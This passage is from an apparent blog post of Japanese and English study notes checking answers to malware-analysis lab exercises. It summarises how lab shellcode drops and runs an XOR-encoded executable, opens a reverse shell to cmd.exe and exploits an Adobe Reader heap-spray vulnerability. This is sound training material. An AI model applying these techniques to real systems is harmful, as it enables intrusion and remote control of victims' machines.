  • ReadFile
  • WriteFile
  • CloseHandle
  • GlobalAlloc
  • GlobalFree
  • ShellExecuteA

4. The shellcode creates the files %TEMP%\foo.exe and %TEMP%\bar.pdf.

5. The shellcode extracts two files stored encoded within the malicious PDF and writes them to the user's %TEMP% directory. It executes the foo.exe file and opens the bar.pdf document with the default handler.

答え合わせ

Lab 19-2

シェルコードがブラウザ・プロセスにインジェクトされると、ポート番号13330を通してIPアドレス192.168.200.2と通信するためのTCPソケットを作成し、入力と出力をcmd.exeに渡す。つまり、IPアドレス192.168.200.2にReverse Shellを提供する。

Lab 19-3

Lab19-03.pdfはHeap Sprayを行いシェルコードを実行するが、模範解答によるとCVE-2008-2992で報告されているAdobe Reader 8.1.2のバッファオーバーフローの脆弱性が悪用されている。

模範解答によると、%TEMP%\foo.exe%TEMP%\bar.pdfはXORエンコードされた状態でLab19-03.pdfに埋め込まれており (XOR鍵は0x4a)、シェルコードが実行されると、これらのファイルがデコードされ、実行される。

Leave a Reply

Your email address will not be published. Required fields are marked *